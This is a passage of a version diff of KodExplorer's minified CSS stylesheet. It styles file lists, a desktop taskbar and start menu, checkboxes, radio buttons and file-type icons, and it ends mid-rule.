.select,.fileList_list_split .selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_list .select .children_more i.font_icon,.fileList_list .selectDragTemp .children_more i.font_icon,.fileList_list_split .select .children_more i.font_icon,.fileList_list_split .selectDragTemp .children_more i.font_icon{color:#63acff !important;}.fileList_list .meta_info,.fileList_list_split .meta_info{display:inline-block;float:initial;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.fileList_list .meta_info img,.fileList_list_split .meta_info img{width:100%;height:100%;}.fileList_list .file,.fileList_list_split .file{width:80%;overflow:hidden;height:27px;}.fileList_list .file .ico,.fileList_list .file .filename,.fileList_list .file .filetype,.fileList_list .file .filesize,.fileList_list .file .filetime,.fileList_list .file .children_more,.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.fileList_list .file .children_more,.fileList_list_split .file .children_more{width:20px;height:28px;text-align:center;padding-left:0px;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{content:"\f0da";}.fileList_list .file .children_more i.font_icon.cert_open::after,.fileList_list_split .file .children_more i.font_icon.cert_open::after{content:"\f0d7";}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.fileList_list .file.loading_children .ico .x-item-file,.fileList_list_split .file.loading_children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.fileList_list .file .filetype,.fileList_list_split .file .filetype{width:90px;}.fileList_list .file .filesize,.fileList_list_split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.fileList_list .file .filetime,.fileList_list_split .file .filetime{width:200px;}.fileList_list .file .filename,.fileList_list_split .file .filename{width:240px;word-break:break-all;padding-left:0px;}.fileList_list .file .filename .textarea,.fileList_list_split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.fileList_list .file .filename #pathRenameTextarea,.fileList_list .file .filename .newfile,.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.fileList_list .file .filename #pathRenameTextarea:focus,.fileList_list .file .filename .newfile:focus,.fileList_list_split .file .filename #pathRenameTextarea:focus,.fileList_list_split .file .filename .newfile:focus{outline:none;}.fileList_list .file .filename .title,.fileList_list_split .file .filename .title{width:250px;word-break:break-all;}.fileList_list .file .ico,.fileList_list_split .file .ico{height:22px;width:22px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.fileList_list .file .ico img,.fileList_list_split .file .ico img{height:100% \9;max-height:100%;max-width:100%;margin-top:-5px;}.fileList_list .file .filename .textarea{position:absolute;}.list_split_box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.list_split_box .split_line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.fileList_list_split{overflow:hidden;}.fileList_list_split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.fileList_list_split .file.file2{background:none;}.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_open{line-height:22px;height:22px;}.fileList_list_split .file .ico{height:22px;width:22px;margin-left:5px;margin-top:2px;}.fileList_list_split .file .filename{width:100%;}.fileList_list_split .file .filename span.title{position:absolute;width:75%;overflow:hidden;}.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:23px;line-height:23px;}.fileList_list_split .file .filename .title .textarea{margin-top:-2px;}.fileList_list_split .file .children_open{width:20px;height:28px;text-align:center;padding-left:0px;float:right;}.fileList_list_split .file .children_open i.font_icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.fileList_list_split .file .children_open i.font_icon::before{content:"\f0da";line-height:24px;}.fileList_list_split .file.select_split_parent{background:#e3f0ff;}.fileList_list_split .file.select_split_parent .children_open i.font_icon::before{content:"\f101";font-size:20px;}.fileList_list_split .split_box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.fileList_list_split .split_box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.fileList_list_split .split_box.split_hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.fileList_list_split .split_box.split_select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.fileList_list_split .is_drag_split .split_drag{background:rgba(100,100,100,0.2);}.fileList_list_split .split_drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.fileList_list_split .content_more{height:100px;position:relative;}.fileList_list_split .file .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list_split .file .children_open i.font_icon:before{display:none \9\0;}.fileList_list_split .file.select_split_parent .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{display:none \9\0;}.fileList_list .file .children_more i.font_icon.cert_open,.fileList_list_split .file .children_more i.font_icon.cert_open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.fileList_list .file .children_more i.font_icon.cert_open:hover,.fileList_list_split .file .children_more i.font_icon.cert_open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}body#page_desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page_desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page_desktop .topbar .content .topbar_menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page_desktop .topbar .content .topbar_menu,body#page_desktop .topbar .content .topbar_menu.font-icon{text-shadow:0px 0px 0px #fff, 0px 0px 4px #000;}body#page_desktop .topbar .content .top_right div.share_info_user{color:#fff;}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(255,255,255,0.3);}.desktop{position:absolute;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;right:0px;bottom:0px;top:0px;left:0px;background-attachment:fixed;-webkit-transition:all ease .3s;-moz-transition:all ease .3s;-o-transition:all ease .3s;-ms-transition:all ease .3s;transition:all ease .3s;-moz-background-size:cover;-o-background-size:cover;-webkit-background-size:cover;background-size:cover;-ms-background-size:cover;background-size:100% 100%;}.desktop .background{position:absolute;overflow:hidden;width:100%;display:none;height:100%;right:0px;top:0px;bottom:0px;left:0px;}.desktop .fileList_icon{position:absolute;width:100%;bottom:32px;top:40px;overflow:auto;}.desktop .fileList_icon .file{float:none;color:#fff;border:none;display:inline-block;writing-mode:lr-tb;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}.desktop .fileList_icon .file .filename{padding-bottom:1px;}.desktop .fileList_icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}.desktop .fileList_icon .file.select,.desktop .fileList_icon .file.selectDragTemp,.desktop .fileList_icon .file.select.hover,.desktop .fileList_icon .file.selectDragTemp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}.desktop .fileList_icon .file.select .filename,.desktop .fileList_icon .file.selectDragTemp .filename,.desktop .fileList_icon .file.select.hover .filename,.desktop .fileList_icon .file.selectDragTemp.hover .filename{background:none;}body .fileContiner.file-draging-box .fileList_icon .file{float:none;color:#fff;border:none;display:inline-block;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}body .fileContiner.file-draging-box .fileList_icon .file .filename{padding-bottom:1px;}body .fileContiner.file-draging-box .fileList_icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}body .fileContiner.file-draging-box .fileList_icon .file.select,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp,body .fileContiner.file-draging-box .fileList_icon .file.select.hover,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}body .fileContiner.file-draging-box .fileList_icon .file.select .filename,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp .filename,body .fileContiner.file-draging-box .fileList_icon .file.select.hover .filename,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp.hover .filename{background:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:none;vertical-align:inherit;float:inherit;height:inherit;}}#taskbar{height:32px;position:fixed;bottom:0;left:0;width:100%;padding:0;margin:0;background:url('../../../images/common/desktop/taskbarbg.png');}#taskbar a{position:absolute;text-align:center;width:40px;height:40px;left:6px;}.taskbar_right{position:fixed;right:0px;bottom:-1px;z-index:99999;}.taskbar_right .copyright{float:left;cursor:pointer;color:#fff;padding-top:6px;font-size:20px;z-index:999;width:35px;height:21px;text-align:center;opacity:0.8;filter:alpha(opacity=80);}.taskbar_right .copyright:hover{text-shadow:0 0 10px #fff;opacity:1.0;filter:alpha(opacity=100);}.taskbar_right .tab_hide_all{width:23px;height:30px;border-radius:4px;cursor:pointer;border:1px solid rgba(255,255,255,0.4);float:right;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.taskbar_right .tab_hide_all:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 10px #fff;}.start{background:url('../../../images/common/desktop/start.png') 0 0px no-repeat;display:block;margin-top:-8px;z-index:10000;border-radius:20px;width:40px;height:40px;bottom:0px;left:5px;position:fixed;}.start:hover{text-decoration:none;background-position:0 -40px;}.start:active{text-decoration:none;background-position:0 -80px;}#randomWallpaper{position:absolute;width:40px;height:60px;bottom:30px;right:25px;z-index:10;}#randomWallpaper .flower{width:40px;z-index:3;position:absolute;top:0;cursor:pointer;left:0;}#randomWallpaper .body-line{width:5px;height:30px;position:absolute;bottom:0;left:18px;background-color:#fff;z-index:2;}#menuwin{position:absolute;left:0;bottom:33px;display:none;z-index:9999;}#menuwin #startmenu{border:solid 1px #102a3e;overflow:visible;display:block;float:left;height:404px;width:390px;opacity:0.9;filter:alpha(opacity=90);-webkit-border-radius:5px;position:absolute;box-shadow:inset 0 0 1px #fff;-webkit-box-shadow:inset 0 0 1px #fff;background-color:#619bb9;background:-webkit-gradient(linear,center top,center bottom,from(#327aa4),color-stop(45%,#2e4b5a),to(#5cb0dc));background:rgba(0,0,0,0.5);}#menuwin #leftspliter{margin:0 15px 0 15px;border-top:solid 1px #d6e5f5;}#menuwin #rightspliter{margin:0 7px 0 7px;border-top:solid 1px #596d77;}#menuwin #programs,#menuwin #links{float:left;padding:0;list-style:none;position:relative;}#menuwin #programs{background:#fff;border:solid 1px #365167;height:385px;margin:7px 0 7px 7px;box-shadow:0 0 1px #fff;width:250px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;}#menuwin #programs a{border:solid 1px transparent;display:block;padding:3px;height:30px;line-height:30px;margin:3px 10px;color:#4b4b4b;text-decoration:none;min-width:200px;}#menuwin #programs a:hover{border:solid 1px #7da2ce;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 0 1px #fff;-moz-box-shadow:inset 0 0 1px #fff;box-shadow:inset 0 0 1px #fff;background-color:#cfe3fd;background:-webkit-gradient(linear,center top,center bottom,from(#dcebfd),to(#c2dcfd));}#menuwin #programs a img{border:0;vertical-align:middle;margin:0 5px 0 0;}#menuwin #links{margin:5px;margin-top:-30px;}#menuwin #links li.icon{height:60px;}#menuwin #links a{border:solid 1px transparent;display:block;margin:5px 0;position:relative;color:#fff;text-decoration:none;min-width:120px;}#menuwin #links a:hover{border:solid 1px #000;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;box-shadow:0 0 1px #fff;background-color:#658da0;background:-webkit-gradient(linear,0% 100%,100% 100%,from(#517384),color-stop(50%,#79a3b8),to(#517384));}#menuwin #links a:hover span{background:-webkit-gradient(linear,center top,center bottom,from(transparent),color-stop(49%,transparent),color-stop(50%,rgba(2,37,58,0.5)),to(rgba(63,111,135,0.5)));}#menuwin #links a span{padding:5px;padding-left:10px;display:block;} -/* ver 3.35(2016-12-23) [build 1482476939.2812] */ \ No newline at end of file +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112852.4566] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none 